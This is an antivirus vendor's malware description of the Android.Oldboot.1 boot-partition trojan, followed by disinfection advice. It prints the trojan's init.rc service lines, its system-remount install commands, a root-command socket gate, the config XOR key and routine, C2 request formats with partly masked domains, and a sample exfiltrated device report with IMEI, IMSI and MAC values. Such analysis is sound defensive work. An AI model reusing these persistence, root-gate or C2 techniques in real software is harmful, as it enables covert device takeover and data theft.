Защити созданное

Другие наши ресурсы

  • free.drweb.uz — бесплатные утилиты, плагины, информеры
  • av-desk.com — интернет-сервис для поставщиков услуг Dr.Web AV-Desk
  • curenet.drweb.uz — сетевая лечащая утилита Dr.Web CureNet!
  • www.drweb.uz/web-iq — ВебIQметр
Закрыть

Библиотека
Моя библиотека

Чтобы добавить ресурс в библиотеку, войдите в аккаунт.

+ Добавить в библиотеку

Ресурсов: -

Последний: -

Моя библиотека

Поддержка
Круглосуточная поддержка | Правила обращения

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Android.Oldboot.1

Добавлен в вирусную базу Dr.Web: 2014-01-20

Описание добавлено:

A Trojan that resides in the boot partition of the file system.

Once the infected device is turned on, the kernel image containing a modified init.rc script, /sbin/imei_chk, and /sbin/.bootinfo is extracted. After that, the init.rc script is read by the operating system.

The init.rc script has the following changes:

service imei_chk /sbin/imei_chk
class core
socket imei_chk stream 666

Based on these commands, the operating system launches the /sbin/imei_chk bootkit and creates a socket with the same name.

Bootkit's operation

/sbin/imei_chk acts as an installer of GoogleKernel.apk and libgooglekernel.so and as a gate though which GoogleKernel.apk can execute commands with root privileges via the socket at imei_chk.

Once launched, the bootkit extracts the GoogleKernel.apk and libgooglekernel.so files from its body and installs them as follows:

#scans /proc/mounts and identifies mounting /system
#remounts system to
mount -o remount,rw %s /system
#saves libgooglekernel.so
/system/lib/libgooglekernel.so
chown system.system libgooglekernel.so
chmod 644 libgooglekernel.so
#copies GoogleKernel.apk
/system/app/GoogleKernel.apk
chown system.system GoogleKernel.apk
chmod  644 GoogleKernel.apk
mount -o remount,ro rootfs /system
pm enable com.android.googlekernel

Among environmental variables, the bootkit searches for the socket created on system startup and listens for the following commands:

cmds—can execute any command with root privileges via console,
get_mnt_dev_name—name of the mounted device,
get_channel_id—command results in the reply with 888888 or a string from /sbin/.bootinfo.

GoogleKernel.apk and libgooglekernel.so components

GoogleKernel.apk is a bot that operates as a service. It contains lib/armeabi/libgooglekernel.so that can be used when root privileges are not available. It closely communicates with the libgooglekernel.so library that performs main malicious actions and has a number of exported functions. Moreover, native code of this library can call Java classes using JNI.

Once launched, GoogleKernel.apk creates a system thread and calls the main exported function doWork.

Communication with the server

The bot communicates with several command and control servers and can receive lists with new addresses.

Step 1—get a domain list

First, the bot reads the configuration file and decrypts it.

/data/data/com.android.googlekernel/db/data.i

Decryption routine is as follows:

function despan($data){
    $key="\xA1\x12\xF3\x92\xAE\x3E\x29\xCD";
    $l=strlen($data);
    $s="";
    $j=0;
    for ($i=0;$i<$l;$i++){
    $s.=chr(ord($data[$i])^ord($key[$j]));
    $j++;
    $j=$j%8;
    }
    return $s;
}

The bot also examines the checksum of the file as follows:

function checksum($data){
    $r=0;
    $l=strlen($data);
    for ($i=0;$i<$l;$i++){
    $r=$r+(ord($data[$i]));
    }
    return $r;
}

File structure is as follows:

struct CFG{
    uint8 encrypt_data[];
    uint32 sum;
};

This file contains the list of domains separated by commas. If the file is missing, it is downloaded from http://info.[xxxxxxxxxx].com/data.i.

In reply to the download request, the bot receives an encrypted file with details on its checksum. An unchecked file is saved to /data/data/com.android.googlekernel/db/data.i.

Step 2—GET request and acquiring basic configuration data to activate bot's backup servers

GoogleKernel.apk consecutively sends GET requests to domains from the /data/data/com.android.googlekernel/db/data.i list for the %chanal_id%.json script. The chanal_id parameter is stored in the bot's body (the value equals 8008). Then the bot waits for a JSON object. The configuration file can contain the following commands:

  • su—activate HZ_main (http://[xxxxxxxx]666.com:8090/backurl.do, [xxxxxxxx]666.com, [xxxxxxxx]666.com) and main (http://[xxxx]108.net/install.html, [xxx]6.com, [xxxx]fy.com, [xxx]jobs.com);
  • type—activate MY_main (http://[xxxxxxx]999.com:8090/backurl.do, [xxxxxxxx6666].com);
  • install—download and install an APK file on the device; the file contains additional parameters (id, app, main, ver, vercode, size, path);
  • uninstall—remove APK (app).

Step 3—POST request and sending bot statistics

Depending on the command type (“su” (HZ_main, main) and “type” (MY_main)), relevant features and configuration files are activated. These functions are identical and differ only in domain names and path to saved settings.

MY_main function

Files are placed into the following directory:

/data/data/com.android.googlekernel/bakdata/
mnt/sdcard/.android_security/bakdata.i
bakdata.i—command and control server at [xxxxxxxxx]666.com
dns.i—DNS parameter domains
post.i
db.i

The bot sends a POST request and the /installreq.do /installreq2.do script with the bot's information in GZIP format (urlencode(JSON)) to [xxxxxxxxx666].com to port 8090 or 9090.

<?xml version='1.0' encoding='UTF-8 ' ?>
<HB>
    <DN>golden</DN> #Build.DEVICE
    <DT>GT-I8190</DT> #Build.MODEL
    <OS>4.1.2</OS> #Build.VERSION.RELEASE
    <EI>356507059351894</EI> #localTelephonyManager.getDeviceId()
    <SI>250026699187743</SI> #localTelephonyManager.getSubscriberId()
    <AC>30</AC> #versionspan
    <PN>3.0</PN> #versionName
    <ID>8631ccb43a5dc066ae7920c43f36dc40</ID> #getId
    <CI>8008</CI> #getChannelId
    <TN></TN> #localTelephonyManager.getLine1Number()
    <NE>TYPE_WIFI</NE> #NETWORK_TYPE
    <MAC>9C:3A:AF:51:01:F6</MAC> #MAC
    <PATH>D</PATH> #debug, release
    <ISS />
    <RSS />
</HB>

Then the malicious program waits for a JSON command.

[{"addr":"","cardid":"db8ce287d3e712a9c2936a39bf165e43","dns":"[xxxxxxxx]66.com","repost":"1","time":"720","install":[],"uninstall":[]}]

The following commands can be executed:

  • addr—phone number (this feature is not implemented),
  • install—install APK,
  • uninstall—remove APK,
  • dns—domains (ACTION_TEST_BROADCAST, TEST_BROADCAST_LABEL executes broadcast),
  • repost—number,
  • cardid—server sends ID that is stored to a file,
  • time—timeout.

HZ_main function

http://[xxxxxxxx]666.com:8090/backurl.do
[xxxxxxxx]666.com,[xxxxxxxx]666.com
/data/data/com.android.googlekernel/bak/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/bakdb.i

main function

http://[xxxx]108.net/install.html
[xx]y6.com,[xxxx]fy.com,[xxx]jobs.com
/data/data/com.android.googlekernel/data/
dns.i
post.i
db.i
mnt/sdcard/.android_security/
mnt/sdcard/.android_security/db.i

This functions sends a GET report as follows:

http://[xxxxxxxx]666.com:8090/installapp.do?cardid=db8ce287d3e712a9c2936a39bf165e43&appid=db8ce287d3e712a9c2936a39bf165e44&net=NETWORK_TYPE_UMTS&channelid=540042

The bot gets the following domains from the server:

[xxx]pfr.net, [xxx]ile.net, [xx]ppw.net, [xxx]tte.net

Рекомендации по лечению


Android

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке